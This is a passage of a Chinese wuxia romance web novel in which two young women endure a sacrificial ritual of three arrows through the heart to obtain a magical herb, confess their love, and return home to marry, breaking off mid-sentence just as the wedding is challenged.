他们本是神农的后世族人的一支,几千年前为了寻还心草而来,谁料还心草没得到,还被这怪雾困住了,此雾很独特,只要闻过,就终身不可脱离,否则,一日迷离,三人断肠,七日灰飞烟灭,不得好死。所以,他们始终过着与世隔绝的生活,越来越落后,这山上没什么可以农耕的地方,打猎又没有好的工具,所以族人的体质始终停留在很弱的状态,而虎儿的爹是为了不想族人在这样自生自灭下去,铤而走险的跑了出去,结果可想而知,死在了林子里。 “但是,这与我所知的有些出入,”谦月问,“神农不是没有留下太多线索吗?而且,千叮万嘱后人不可妄寻还心草!身为子孙的你们怎可违背呢?” “报应呀!”老人叹着气,果然是别有内情。 其实神农是写了采还心草的方法的,而且,那句后人切勿妄寻并非出自神农之手,而是忘仙族的先祖,乌义篡改的。他非但见神农濒死而不救,而且偷扯下了有关此药的说明,为了自己他日可寻,神农最后只得握着还心草含恨而终,而那句假话,也让其后人没有一人继续追查下去。 但是,也许真的是天谴吧,乌义举全族之力来此寻药,不但什么也没有找到就死在了这里,而且令自己的后人也受困于此,恐怕离灭族不远了。 谦月和芊寻听了不禁唏嘘不已,这样的秘密,隐藏了三千年了。 但是,她们接着担心起来,那红果难道与还心草无关吗?而她们两个,再也离不开这里了吗?一时之间,该教人如何是好? 族长在听了她们的来意和顾虑后,沉默片刻,似是自言自语,“也不是完全没有办法,如果这样做了,不仅可以得到还心草,还可以化了这片噩雾,只是,” “只是什么,到底我要怎么做呢?你快说吧”谦月连忙走过来问。 “接受我族祭祀,三箭穿心,到时,一切都可以解决了。”族长抬起头,摸着胡须说。 “那好,我来,”谦月笑着回答,自信于自己的功力。 “恩公,三思呀,千百年来,还没有一个人能挺到第二只箭呢!”族长叹着气说。 芊寻也赶忙拉住了谦月的手,拼命摇头说,“不行,会死的,不要接受,”谦月回身再一次紧紧的握住芊寻的手,笑着,但是坚定的说:“一直以来我们不都是为了今天而努力着吗?想想那些被瘟疫折磨的百姓,我一定要这样做。而且,你不是要游遍天下吗?我不会让你困在这里的。小傻瓜”谦月一边说一边用手在芊寻的鼻子上划了一下,“再说我还有纤云甲呢!不会有事的,相信我!”芊寻痴痴的看着她,微微的点了点头。 谦月让芊寻去看看虎儿的伤势,在准备准备一会采药离开。自己则和族长继续谈祭祀的事宜,看来还是有变数呀!谦月不禁皱了皱眉!最后她对族长说:“在下,有个请求,请您务必答应。。。。。。” 终于到了正午时分,族长领着谦月、芊寻和族人来到刚刚的大树下,雾散了,树旁出现了一座高数丈的石砌之台。原来这里每天的正午,雾都会消失半炷香的时间,而这祭祀台,平时也是被雾隐着看不见。谦月走到台前一看,见到台中央有一颗上面结着红果草,和树旁的相似,只是要大出几十倍。而草的旁边有三只箭,就是谦月一会要受的。 族长握着弓,对族人说:“今天,曹恩人,将为我们的出路,承担穿心箭,这是,我族千年来的希望。现在,大家跪下,向天祈祷,保佑他平安。”说着,刷的所有族人都跪下来,双手合十。族长点了一堆篝火,将三支箭插在火堆的不同位置,两支在边缘,只有一支黄色的插在火的正中央,被烈火烧着。。。。。。 然后,族长又转向谦月,问:“可以了吗?” “准备好了,请让我来承担祭祀!” 谦月没等开口,就被芊寻抢了话。芊寻走过来,要接受三支穿心箭。。。。。。 23、祭爱 说什么痴话,你怎么受得起呢?”谦月急忙抓住芊寻的手,不许她再向前去。谁料芊寻一下子扑到自己怀里,带着有些颤抖的声音说“我有好多的话想对你讲,但是没有时间了。”祭祀必须在再起雾前完成才行,“你早晚会知道的,你要好好的活下去,替我。。。。。。” “不行,我不会让你去的,相信我,我不会有事的,我有铠甲,又有内力。。。。啊!”谦月没有说完,一支银针就刺在了她的背上,动不了了吗? “不要骗我了,既然是穿心箭,就必然要箭箭夺命,箭箭穿心,族长不让你穿纤云甲,你肉骨凡胎的,又有何胜算”芊寻一边把谦月抱得更紧,脸贴着谦月的脖颈和胸膛,轻柔的说:“好温暖,真想永远被你这样抱着,你不穿铠甲的时候,好温暖。。。。。这一次,让我去。。。。。” 谦月笑了,淡淡的笑着,“我也有好多好多的话要对你说,但”一时之间,千头万绪,谦月不知该如何说,“我知道你会明白的,总有一天你会的。因此现在的我会把你要对我说的话,如数复还给你,还要加上一句:给我好好活!带上我那一份,幸福的活下去。”谦月颤抖的抚着芊寻的头,努力的抑制自己的泪,“和你在一起的日子,对我而言是一生中最特别的记忆,有了你,我才会开心的走到今天,能和你相识相知是我的福气。。。。。。这辈子最大的福气。” 说完她用双手,轻轻的放在芊寻的肩膀,将两人分开了一点距离,面对面看着彼此,芊寻的泪在眼底回旋,谦月用手拖着芊寻的脸庞,“你真的很美!一定要开开心心的,完成我们游历天下的梦。用你这双美丽的眼睛,替我们看尽世间美丽的一切。但是现在。。。”谦月慢慢的靠近了芊寻的脸,深深的吻着芊寻的眼睛,“请闭起眼睛,不要看我,乖。。”芊寻倔强的眼泪终于倾斜而下,沉醉于谦月的吻,同时也失去了再看到她的资格。 谦月温柔的把芊寻平放在地上,并把她的脸转向另一边,看不到祭台上一切的一边。然后,走向祭台。芊寻的压抑着的哭泣声,还在耳边,谦月停下了,微微仰起头叹了口气,又快步跑上去。对族长喊了句:“开始吧,” 族长从火边拿过第一支箭,拉弓待射。谦月将全身的气力聚于心口。多亏了芊寻,运功才会这样快。刚刚为了解被芊寻用“金针打穴”封住了的穴道,谦月已经暗暗将伊帝心决运行周身。一般武功是达不到的,只有这中神功,可以将所有穴位虚化,消失了的东西,自然就不会有顾忌了。而后,她又点了芊寻的穴,不想她做傻事。 啪!正中心口。 谦月没有丝毫动摇,并用右手折断了箭身。所有族人都惊得倒吸一口凉气,好个奇人。有救了,我们有救了。有人这样窃窃私语着。。。。。 谦月朝芊寻看去,眼中被不舍填满,但是随即微微的笑了。努力压住了胸口的烈火,这支红木箭好厉害,不但穿破了谦月的罩门,还在不断的化解着谦月的内力,虽然缺了箭身,但是谦月的内力已于刚刚消失殆尽。 失败了吗?没有希望了吗?谦月绝望的想着。。。。。。 芊寻,让我再看看你,最后的。谦月笑着,依然看着芊寻。可是瞳孔开始涣散了,芊寻变得越来越模糊。。。。。。 又是一箭进入了谦月的胸膛,血从谦月口中喷出。谦月轻轻的咳嗽着,每一下,血都不住的往外涌。族长向前一步,疾呼:“恩公,您,”族人们也开始大声的呼喊苍天保佑,祈祷着,哭泣着,所有的希望都濒临破灭,但是没有人愿意相信输给了天命。 谦月无力的向族长摆摆手,但是却说不出话了。 这是一支白色的骨箭,正在慢慢的变成绛红色,一点点的吞噬着谦月的血。谦月用两只手,很是艰难的折断了它,扔在一边。终于耗尽了所有的力量。谦月慢慢向前倾倒。 “还好,交代。。。”谦月的嘴角展开了淡淡的笑,已经把芊寻安排的妥当些了。 “在下,有个请求,请您务必答应。如果我有不测,请你们一定照顾好雪芊寻,不要让她做任何傻事,并将我一会给您的铠甲和信转交予她。还有,不要让她看到我的尸首,就地将我火葬。拜托您了。” 就在刚刚,已经求过他们照顾芊寻了。 心里有一点安心,但是无限的痛楚却涌上谦月心头:芊寻,我要走了。一切都结束了,你要好好的。原谅我,你要的幸福,我给不了。。。。。。也许,我该感谢上天让我可以死在这里。这样的死别,好过让我活生生的离开你。你会记得我么,真希望,可以永远活在你的心里。但是,如果有我的记忆会让你今后无法开怀,那就请你,忘记我。一定要幸福的活下去,芊寻,芊寻。。。。。。。 谦月缓缓的倒下去了,没有了一丝抵抗的力量,只得认命了。 但是,那眼中模糊的芊寻却近了。声音也近了。“混蛋” 谦月听到了,也看到了,嘴角还带着血的芊寻向自己冲来。 在倒地之前,抱住了谦月。两人,拥立在祭台前。 如今的话语可在耳边了,“混蛋,我恨你,恨你说了一半的话,恨你一半的吻,你要我幸福,可是你想过吗?没有你,我会快乐吗?”语气里似是责问,但还是柔柔的、轻轻的,情真意切融化了一切怨艾。 “不要气了,我就是个让人讨厌的人。。。”谦月已经没有了那么清醒的神志,她理不出芊寻为何会在这里抱着她,甚至分不出这是不是梦幻! “不,不是的。你是我这辈子最重要的人,有了你的日子,我才算是真真正正的活过。你是我的。。。。。。。” “真的吗?你不会讨厌我嘛,我好开心,好”谦月断断续续的说,完全是出自本能的追问。她的头无力的搭在芊寻的肩头,芊寻温暖的气息就在耳边。。。。。。 “从未讨厌过你,从没”芊寻急忙回答“月儿,那天你睡着了,没有听完我的话。我要对你说:你是惟一一个,我要住进心里的人。我也希望可以永远住在你的心里,永远活在你的视线里。月儿,我喜欢你,我要永永远远和你在一起!” 芊寻一边摸着谦月的头,像是对待一个初生的婴孩一般细腻。一边轻轻的说:“无论如何,不要再抛下我一个人。只要有你,那就是我的天国。不管是哪里,我们都一起去闯,把所有的苦难也分担给我一点,让我们一起面对,好吗?”芊寻顿了顿,似是流着泪,但是很快又柔声在谦月耳边说:“让我们一起,完成它”。 随即,芊寻大喊一声:“族长,请发箭吧!”族长迟疑着:“恩人,已经不行了,请您不要陪他白白牺牲。。。。。” “族长,”芊寻打断了他的劝诫,“我们的命早已连在一起了,请让我们用同一个灵魂,接受最后一支穿心箭。” 决绝。。。。。。。 “可是,”族长迟迟不肯发箭。 又要起雾了,族人们悲戚的喊着:“起雾了,起雾了”。这就预示着,失败将至。 “快,没时间了,”芊寻说,“这是所有人的希望。快!” 族长无奈地摇了摇头,拔出了已经烧红的最后一支箭。弯弓如月,随即箭飞了过来。 芊寻闭上眼,心中想着:这样就好了,和谦月可以永远一起了。 她笑着,将谦月抱紧,等待着利箭刺入身体的那一刻。 谦月也如孩子般天真的笑着,“芊寻,谢谢你,” 箭在空中咻咻作响 “一直以来,谢谢你,我很开心,听到你说喜欢我。你,也是我今生最重要的人。和你在一起的日子我会永远珍藏在心底。但是”谦月用尽最后一点力气抱紧了芊寻。心中想着:但是,我怎么能,让心中住着我、并且也深深住在我心底的你,陪我死呢?不,绝不可以! 就在箭射来的瞬间,谦月拼了全力的将芊寻和自己转换了位置。 箭,穿进了她背脊。 血,崩裂而出。。。。。。 24、心心相印 这一箭,刺穿了谦月心脏,也刺透了芊寻的胸膛。 谦月倒在地上,好恨,保护不了芊寻,最终还是这样的下场,她看到芊寻胸口的一片红色,哭了,不想让她陪自己死,不想。。。。。。 但眼皮越来越重了,身体也不再听自己使唤,她伸手想要触摸芊寻的脸,但是这样的动作根本是办不到的! “月儿,月儿。。。你醒醒,我们成功了,月儿”芊寻抱着谦月大声喊,但是当她看到已经迷离于世的谦月,不禁放声大哭,“月儿,你不要吓我,不要丢下我。”这些谦月都听得到,月儿,芊寻这样叫自己,真好!可是,谦月却再也没有睁眼的力气了。 在一个平坦的小山上,青草在谦月身下,躺着感受阳光也温柔的恰当。突然,眼前出现了一位老和尚,白须飘然。在微风下,他衣带飘然,向谦月走来。谦月,连忙起身,迎了上来。 “谦月,你身为女子,有何资格令雪芊寻幸福?”老人突然质问。 “我从未想过,她的幸福是我可以给予的。我只想她幸福,就算我粉身碎骨,我也想看着她幸福。”谦月虽然被问的有点惊慌,但很快给出了真诚的回答。 “粉身碎骨?呵呵,你真不愧是那个人的孩子呀!为什么,你们一个是这样,两个还是这样。”老人叹了口气。“罢了,罢了。都是命呀。”他抬头看着谦月,笑了笑,但随即严肃的说:“谦月,你记住,你和雪芊寻今生的心和命,随着那穿心的一箭,已经注定牵不完,扯不断。这是一段,舍不下,弃不了,但就是达不到的缘殇。你们这生想爱不能,想恨亦不能。但,雪芊寻却是唯一一个可以陪伴你终生的人。注定的,因为遇见她,你才是曹谦月。真正的曹谦月。。。。” 老人说着就飘然远逝,谦月追着,“为什么,我和芊寻,我们会这样,芊寻。。” “月儿,月儿”轻声的呼唤,熟悉的声音,回荡在谦月耳边。 谦月慢慢的张开眼,朦胧中看到了心心念念的雪芊寻。。。。。。 “月儿,你醒了,太好了。。月儿”芊寻说着说着,就脸上就滑下了泪,但是她忙擦,笑着说“没事了,你回来了。” “芊寻,你没事吗?”说着,谦月,坐起来双手握住芊寻的双臂,上下打量。 芊寻摇摇头,温柔的说:“我没事,倒是你,昏迷了五天五夜。” 谦月,这才放心,但是随即觉得心口被扯裂的痛,又倒在炕上。 静静的看着芊寻,面容憔悴,苍白的很。想想,难道自己昏迷的这五天,芊寻也没有休息片刻吗? “你一直在照顾我吗?”谦月问。 “嗯!”芊寻笑着点头,“真怕你这坏蛋,一睡不醒呢?现在好了,一切都过去了!” 好心疼,谦月想自己还是死了好,这样累着芊寻,真的比死难过。 “不好”,谦月心里暗叫,朝夕相处,自己的女儿身份,只怕早被芊寻得知了吧! 但是,谦月看到自己的衣服没有换,胸前的一片血迹还在,只是前两支箭的箭头被拔出了,还隔着衣服上了药。 见谦月,摸着胸口的伤沉思,芊寻扑哧笑了,“你死死拉着衣服,我没有办法给你好好治疗,所以,只有从背面把衣服撕开,从背上的伤口入手了” 哦,可以松口气了,但难怪背后凉凉的! 谦月催芊寻去休息,谁知芊寻原来就睡在了,自己身边! 又静养了几天,谦月的身体在芊寻的细心照料下,渐渐恢复。已经可以坐起来,伤口也不在那么痛了,只是还不能走动。 这天,老族长来了,进屋就拜,不停地说谢谢恩公,谢谢恩公。原来,自从祭祀那天以来,芊寻就带着谦月进到这洞穴里封闭治疗,没有任何人敢擅闯,恐怕耽搁了谦月的治疗。 “在下,有一事不解,”谦月问族长,“为何,我和芊寻遭受了穿心箭,却平安无事?” 族长点头,意味伸长的说:“这当中,玄机重重,皆是前人定下的。” 原来,那三支箭,分别名为:绝浩;勇;还心。第一支箭的作用是将人的浩然之气吸进,第二支箭意在夺取人的心血和生命力,而最后一支箭是让人的体质恢复,甚至比以前更好。 所以,这三支箭的特性决定了,冥冥之中,注定得由一个内力深厚的人,在接受了第一支箭后,即使失去了内力,也不会像普通人一样当场毙命;而此后,看他还有没有勇气去接受第二只箭,如果放弃,当然可以抱住性命,但是祭祀却失败了;而继续下去有需要多么大的勇气呢!最后,如果挺住了,那也是明知将死,心中千头万绪吧,用这样的心境,才会找回人最原始的善与美。所以可以起到还归真心的作用。这样才配得到还心草。 果然是用心良苦的祭祀! 人之将死其言也善,死之前往往会得到最宝贵的心。谦月回想起,祭祀时的种种。 的确,在中第一箭之后,自己恐慌过。但想到芊寻,她决意一死。而且,当芊寻冲过来为自己挡箭时,她们明了了彼此的心。。。。。。现在想想,真的是场因祸得福的祭祀! 而此时,芊寻也进来了,端着刚刚熬好的药,族长一看就和芊寻聊了几句,便知趣的离开了,不想打扰谦月两人独处。 这药还是甜甜的,放入了茉莉花的结晶物,是芊寻特地为谦月研制的,谦月笑着为它命名为:茉问。而且,为了让谦月恢复起来,芊寻在药中放了还心草,普天之下,谦月恐怕是吃这灵药的千古第一人了! 说起还心草,还得回到祭祀那天。当最后,还心箭穿过了芊寻和谦月的身体后,径直掉落在祭台上,族长忙跑过去,将箭捡起,用带着二人“同心血”的箭头,割裂了祭台上最大颗的红果。瞬间,流出了紫色的液体,随即,破果长出了黑色带金边的小草,这就是还心草。而且,随着它的出世,山间所有的红果都开出了还心草。此时雾气来袭,却又渐渐减少,终于彻底被净化了。这就是还心草的威力了,万物更生,一个全新的境界。 这还心草真是一种神奇的植物。开花、结果再生草,这正是结果之后波澜不断,但是终是因一切早已注定而无法改变。有趣,竟和世间好多事理有相通之处! 吃完药,谦月想运运功,但是怎么也不顺畅,总觉得心口疼,强行走血,结果吐出来一口血。本来想趁芊寻回来前赶快擦干净,谁想,芊寻已经进来了。看到谦月,就哭了,“你怎么这么不听话呢,急着练功,你不知道你的伤没好吗?” “我没事,真的一点事也没有了,咳咳”谦月忙着装作强壮,但是还是咳了起来。 “不要骗我,我能感觉到,你的心。不要忘了,我们已经心脉相通了,你受苦,我的心会碎,会痛的!”芊寻凝视着谦月,任凭泪水流淌。。。。。。 “我知道了,以后我会听话的,轻易不再运功了。”谦月认真的说,但马上又开起玩笑,“所以,以后要换你好好保护我了。好了,别哭了,不哭更漂亮呦,乖!对了,你的伤已经彻底没事了吗?”谦月一边轻轻的帮她擦拭眼泪,一边问。 “嗯”芊寻点点头。接着,出乎谦月意料的拉开了自己的衣服,露出了,心口上的伤,“已经快结疤了,没事了。最后一箭是青铜的,在铸造时加了玄磁石,对人的身体有益,加之已经烧的通红,所以即便是穿心而过,也可以迅速凝结止血,反倒伤害不大。可是你,好像伤了练功的罩门,所以,你今后很长一段时间都不可以再练功了。” 是呀罩门是练武之人气脉的交汇之处,伤了这里还真是麻烦,但是谦月看着芊寻的胸前的圆形的粉红疤痕,已无大碍了,心中就安稳了。只是,惊异于芊寻的大胆,怎么会如此坦然的让自己这个“男子”看她的处子之身。 有点害羞的谦月忙转过身,摸着自己的心口,想转移点话题,就笑着说:“哈哈,我们算是心心相印喽。那一刻,我们的心血应该是交融了,那么,我就真的住在你心里了,你也是呀,”谦月拍拍胸口,“你也住在这里了,怎么办,你可是既赶不走我,也跑不掉了呢?” “月儿,”芊寻轻轻的唤着,谦月为之一震,是呀,不知何时起,芊寻就这样称呼自己了。这是谦月的乳名名,在家里,那个外人看来无限荣耀的门庭里,亲娘不喜欢自己,所以连说都少,叫自己小名更不必说了;父亲呢?总是在外驻守;大哥呢?也不是很喜欢谦月,总是大呼小叫的:曹谦月,曹谦月这样连名带姓的叫! 只有大娘了,这是大娘对自己的昵称! 有点想念她了。而这种家的感觉,就这样被芊寻的呼唤叫醒。 芊寻,你究竟当我是什么呢?谦宇心中追问。谦月可是把你当作家人了。 “月儿,月儿,这正是我的梦”芊寻的拥抱,使她回过神来,“月儿,请你允许我永远住在你心里,永远。。。。”是喜欢么,深深的喜欢让芊寻一次次的冲破了女子的矜持! 取出族长交给自己的芊寻的信,那是祭祀前芊寻写给谦月的。芊寻,也取出了谦月写给她的信。两人都曾为彼此,作出过必死的决心。现在,风波淡去两人也想看看彼此的心意,于是,背靠背的坐在床上慢慢的读着,那情真意切的字字句句。。。。。。 “和我的心意相同”两人欣喜,心跳的节奏如此的一致,喜悦将泪也变成是甜的了。 “何时喜欢上我的?傻瓜”谦月轻轻的笑问芊寻。 “这种事,怎么会说得清呢!”芊寻笑了,仰起头,靠紧谦月,“也许,是在刚刚你救我的那一刻;也许,是在这一路上你每一次温柔的看我时;也许,是在乌山上竹林中的你我相处的点滴瞬间。”谦月的眼前,浮现出了所有。 依然静静的听着芊寻继续说着。。。。。。 “但是,也许早在我们初遇的时候,我就喜欢上你了。我稀里糊涂的掉进陷阱,那一刻,我害怕极了,我想自己死定了。但是,我却隐约看到了你,一张像孩子般无邪的睡脸。坠在你身上的一霎那,我觉得自己的红鸾星动了。你给了我安定的感觉,那是我有生以来渡过的最安定,最温暖的一夜。当时,我想就是这个人了,这辈子我谁都不要了。而后来的一路征程,渐渐的,你在我心里扎得根也越来越深” “心动,”谦月的心,也无法在逃避了,既然一切有命,我们随缘随心就好了。想着,她看了看,洞穴外,满山的还心草。 还心草:落地生根,生长,开花,结果。一切都很平凡,可是,她却在结果之后,还会“节外生枝草”。 是的,结果已经在前面了,还能改得了什么呢? 好像是,当你告诫自己不该爱上一个人时,却发觉,已经爱上她多时了。。。。。。 25、火 又过了几天,谦月的身体渐渐康复,已经可以自由行走了。芊寻和她食同时、寝同穴,无微不至的照顾她的一切。在忘仙全族人眼里,她们即使恩人,也是一对神仙眷侣。可是,谦月还是会有点顾虑,有太多事需要解决了。无论是芊寻的家里,还是谦月的家里都是一定要面对的。 这天,谦月醒的很早,然后就一直在床上翻来覆去,怎么也睡不着了,想呀想的! 不一会,芊寻回来了,为她们端来了饭菜和药。 食毕,药毕。。。。。。。 谦月对芊寻说:“神医,我已经躺了半个月了,身体也差不多好了,我们还是赶快动身吧,那些疫区的人,不知怎样了!” “我早就派人把药送过去了,他们应该没事了,所以,不用担心。”芊寻说着转过身按着谦月坐下,然后俯下身望着她说:“倒是你,伤那么重,要好好调养才行。而且,我们要在这里等镇里回信,不用想太多。乖” “可是,我真的没” “好吧!我看看”芊寻打断了谦月的话,为她切脉。表情凝重,谦月看了有点担心,的确,自己的伤非同小可,罩门是习武之人的命脉。伤了它轻则武功全费,重则。。。。。。 “你今天就会死,所以,有什么心愿就赶快去做吧!”芊寻的话打断了谦月的思绪,“就算是色戒,我也会吃点亏帮帮你的,”说着,芊寻抱住谦月,语气活泼,略带挑逗的意味,和平时的温雅大不相同。 “果然是这样”谦月愣住了。 “逗你的”芊寻双手环着谦月的脖子,坏坏的笑了,第一次看她笑得如此邪恶,但是却有另一种魅力。“说了你就信,我本来是想骗你和我冲破最后的防线的。呵呵,胆小鬼。” “额,这”谦月放下了心,她并不担心死亡,只是不想让自己死在芊寻面前。还好只是芊寻淘气。输了口气,“那我们何时可以启程呢?郎中大人” “是呀,我这个江湖郎中这么能诊得出你的贵体是否安康呢?”芊寻说着别过头去,佯做生气。 “什么嘛,你的望闻问切四法还不行吗?”谦月笑问。 “当然啦,那最基本的四法是不足以准确的诊出的。要看你身体究竟如何,就得用最高的诊法。”芊寻认真的说。 “最高的,”谦月问,“是什么?” “尝!”芊寻笑了,“尝?”谦月一时愣住了,但马上反应过来:不好。 晚了,芊寻已吻过来,柔软的唇紧贴在谦月因为伤而略显苍白的唇上,仿佛是想用自己的樱红浸染谦月。谦月还愣着,她不知道该如何面对,手悬在芊寻的后背,真的该抱紧她么? 芊寻温暖的唇还在嘴边,一点点,点燃谦月的热切,心底的爱,谦月闭上眼睛。终于,两人紧紧的相拥在一起。芊寻近乎疯狂的吻,燃尽了,谦月理智,她的手轻轻的抚摸着芊寻,芊寻的发,芊寻的背,婆娑着芊寻的耳畔、脸颊,游移。渐渐的,谦月的手来到了芊寻的心口,正要触碰。 却听到了,一个孩子抽鼻涕的声音。谦月张开眼,看到了虎儿,站在洞口。一边呆呆的看着这里,一边吸着鼻涕。。。。。。 宝贝,出现的还真是时候! 谦月轻轻的推了推芊寻,才停止了她热烈的吻。芊寻的脸已经羞红了,她看看谦月,笑着,微微颔首。最是这一低头的温柔,像一朵水莲不胜凉风的娇羞。这回换谦月呆住了。真的是美得让人不忍其受春风拂面之苦。 芊寻回过头,忙站起身,走过去,说:“姐姐在诊病呢?”脸还是那样红。 谦月回过神来,连声说:“对,嗯,她在给我看病呢?对了,我的身体怎样了?” 芊寻笑着说:“还是像小狗一样健壮,长命百岁没问题的。只是,你的伤口好像又裂开了”说着,她就要给谦月拿药。谦月低头一看,可不是吗!胸前有一小片血迹,的确,刚刚。。。。热血沸腾。。。。。。好大的火烧在心里。谦月不好意思的看了看芊寻,两人又都红了脸。 谁知,虎儿拉住芊寻的衣襟,“姐姐,姐姐,我是来给你送包裹和信的。”芊寻忙接了过来,一个小包袱。芊寻摸了摸虎儿的头,道谢着。谁知虎儿,突然说:“芊寻姐姐好漂亮,你一定是神仙。”然后,跑到谦月跟前,握着小拳头,认真的说:“恩人哥哥要好好的和姐姐在一起,不可以欺负她,不然,我虎儿就娶她。” 虎儿告白完就跑了出去,芊寻和谦月相视笑了,“哈哈哈哈,日久生情呦,你有仰慕者了”谦月捂着肚子笑道。 芊寻一边笑一边打开包裹,里面两封信。第一封是孙成爷爷寄来的,告诉她们瘟疫已经得到根治了,还代表所有人谢谢两人。 终于可以完全松口气了,两人旅行至今的目的总算达到了。 但是,当芊寻看到第二封信的落款时,就呆住了。谦月上前一看,竟是雪医的来信。谦月轻轻的搂着芊寻,鼓励她。芊寻终于鼓起勇气,拆开了信封。里面有三页,大都只有寥寥几个字。第一页是“尔等终生不得返降雪阁。” 第二页,好像是写给很多人的,大概是说,六月初一的招亲大会取消了。 最后一页则说,送给芊寻一本书,然后算是嘱托的说:勿忘万生园的祖训。 谦月看得是一头雾水,只是觉得芊寻会很伤心的。看着芊寻翻开了,包袱里的那本书。看着看着,芊寻终于哭出了声,泪流不止,谦月轻轻的拍着芊寻,“没关系的,有我的地方,就有你的家”。 芊寻的泪是因欢喜而来的,她抓着谦月的手,笑着、哭着:“爷爷,始终当我是孙家人,他没有放弃我。没有。。。”说着,她跪在地上,向家乡的方向拜了三拜。 等她平复了之后,才解释给谦月听:本来,孙家的祖训是成了婚的女子,除入赘外,就不能在回家了。而取消了招亲大会就是因为,雪医已将孙女许配他人了。最重要的是那本书,那是孙家代代相传的“千金方续”,每一代嫡传子孙,都要尽自己所能的在上面填写至少一种新的医学成就。爷爷将此给了芊寻,就是承认了,芊寻是正宗的孙家传人了。 活了十六年了,终于,知道爷爷还是爱自己的,芊寻自然会喜极而泣。看着她开心的像孩子一般,谦月的眉头也不觉的舒展开了。但是,“不对”谦月突然像是想到了什么,“你爷爷把你许给谁了?” 芊寻笑着拿起信:“不是说了嘛,孙家人要和进入万生园的外姓人成婚!” “我?”谦月指着自己问。 芊寻点点头,笑了,“你不会是想逃吧?不行呦”说着,她用手轻轻的搭在谦月的肩头,“我们一定要成婚才行,夫妻之间该做的事我们都做得差不多了。你不可以不负责任” “该做的事?”谦月回想起刚刚的吻。这一路上,她们牵手,拥抱,还亲吻过了。而且,如果不是虎儿闯进来,恐怕连洞房花烛夜都。。。。。。 “可是芊寻,你真的确定是我了嘛?”谦月看着芊寻的眼睛,认真的问,希望得到什么样的答案她自己也不知道。 “就是你了,无论将来世事会有哪些变化,你都是我雪芊寻这一生要追随的人,相伴的人。”芊寻环住了谦月的腰,静止了片刻,“再说,你也不希望我们孙家受灭顶之灾吧,所以,你就从了吧。”小迷信!但是谦月看得出,哪句是芊寻的真心话。所以,她郑重的点了点头。 终于要离开了,临走前,谦月和芊寻用所用的盘缠给忘仙族人买了很多牛呀马呀的,还有很多种子,家畜,家禽,希望他们可以过上全新的生活。当然,谦月没有忘了和虎儿说两句,“我会好好照顾你的神仙姐姐,你也要乖乖听爷爷话,早日成长为一个男子汉。” 就这样两人骑着丹儿,往洛阳走。。。。。。 路上,遇到一家银器店,里面珠光宝气,好是吸引人。谦月也拉着芊寻去看看,结果挑不到喜欢的样子。谦月决定自己定做一个送给芊寻做礼物,芊寻摇头说自己已经有最好的了,说着,她手扶着心口,是彼此的心血。 谦月笑了,但还是要做一只金镶玉的釵。店家说那样恐费些时日,三天才可以取货。芊寻说:“太耽搁了,我想快点和你回家。”于是她要求制一只小银钗,并且从袖中取出了一个荷包,有从里面取出了一个箭头。谦月看着熟悉,正是自己在竹林中相赠与的。“你当时不是没有要么,还有,怎么又会在你那里呢?”谦月好奇的问。 “那天你和山贼周旋时,掉在了地上,我就收着了,反正,不是你给我的定情信物嘛!”芊寻喝了口茶,笑着说,“箭头上有你的名字,没有什么比它更合适的了。” 半日,老板取出了一根小巧的银簪,谦月为芊寻戴上,然后说:“虽然很好看,但是银的也太普通了吧” “怎么会呢,我是行医之人,自小对银质物就很喜欢。而且,它就是你呀!我最喜欢了。我将一生宝贵她”说着,芊寻摸着头发,问谦月:“好看吗?”谦月笑着点点头。 踏着夕阳的余晖,继续赶路。。。。。。 终于,回到了曹府。。。。。。。 谦月,带着芊寻走进大厅,娘叶心,和谦月的师叔江绮月端坐堂前。一看到谦月,师叔的眉头一皱。曹夫人恐她责备谦月,就抢先一步说话了,“谦月,你这些日子跑哪去了,害得娘和你师叔担心死了。”说着,走了过来,拉着谦月的手,轻轻的说:“瘦了,怎么。。对了,这位姑娘是?”她看见了芊寻。 谁知谦月还没张口,芊寻已经说出来:“小女雪芊寻,是谦月的。。。。未婚妻” 26、成亲 “什么,未婚妻?”娘和江绮月娘几乎通同时发问。 总得解释一下,于是,谦月让大家先坐好。接着讲起了,她和芊寻一路走来的所有故事。吃惊是肯定的了,那么多奇妙的事,只见大娘她们始终瞪着眼睛目不转睛,仔细的听着。 “这么说,你是雪医孙墨寒的孙女了,而且雪医为了谦月,取消了招亲大会”绮月娘望着芊寻问。 “正是,”芊寻突然起身,上前“虽然,没有请媒人,但是,我想自己为自己做媒,请您答应我和谦月的婚事”说完就跪下了。 说真的,这样的勇气即使是当时的男子,也未必有,在所有人眼里,这时的雪芊寻天真,果敢,虽然和时代有些不符,但确实给人留下了最美丽,最快乐,最有朝气的印象,难怪后来娘说,对不起她,是所有人把她变得那样郁郁寡欢。这是罪,世人的罪! “好吧!明日完婚”曹太奶奶突然出现了,手里拿着一个信封,她扶起芊寻,命丫鬟狄远好好伺候,准备明日成亲的事宜。 “太夫人,怎么”娘过来问。 “这也是为了孩子好呀!”说着,她抖了抖信封,娘虽然还想说什么,但是却止住了。 好突然的决定,娘会这样好说话吗?太奶奶怎么也?谦月想着,明天? 这一夜是无眠的,因为新郎新娘在成婚前是不能见面的,所以两人分别在曹府的两端。想想还是不放心,谦月一骨碌起了身。 借着月色,来到芊寻的窗外,“不知道,明天都要做些什么?一切都会不会顺利呢?”是芊寻的声音,像是孩子一样迷惑不解。一旁的狄远笑着说:“少奶奶别想太多了,看今晚的月色,明天会是个大好天呢!自古以来,凡是晴天成婚的都会幸福一辈子。好了,您好生休息吧!明天无论如何都会很劳累的”谦月静静的坐在窗下听她们聊天,安心多了。是自己太多虑了,和芊寻经历了那么多,一定可以打动娘的。 次日,真的是阳光明媚,谦月身穿鲜红色的喜服,胸前系着红花,头上戴着红纱帽出了房门。下人们忙得不可开交,整个院子里堆满了贴着红双喜字的礼盒,好不热闹。虽然,谦月平时不喜欢和达官贵人交往,但是,毕竟今天是大喜的日子,总得去前堂招呼宾客吧! 而芊寻呢?上轿了。 本来,是应该接新娘的,可是她已经住在曹家了,所以,只好坐着花轿,绕洛阳城一圈,然后从正门入府。 一路上好多人投来了羡慕的目光。 谦月正疾步向前厅赶,但是,被娘叫住了,进了偏厅,看见师叔也在,一进屋,江绮月就抓住了谦月的手腕,厉声问:“为什么,出去了一趟,你的体质变了这么多,而且,罩门也破了。” 的确,这件事谦月没说,她只是讲了中箭,但没说自己没有穿纤云甲,和被射穿了心脉。怎么了,很严重吗? 娘走过来,抱着谦月:“这是真的吗?昨天我就觉得你有伤,没想到这样严重。” “好了师姐,我们不单单要和谦月说这些吧,”江绮月走过来,拿着婚书,“你不可以和雪芊寻在一起,你的太奶奶已经把她……” 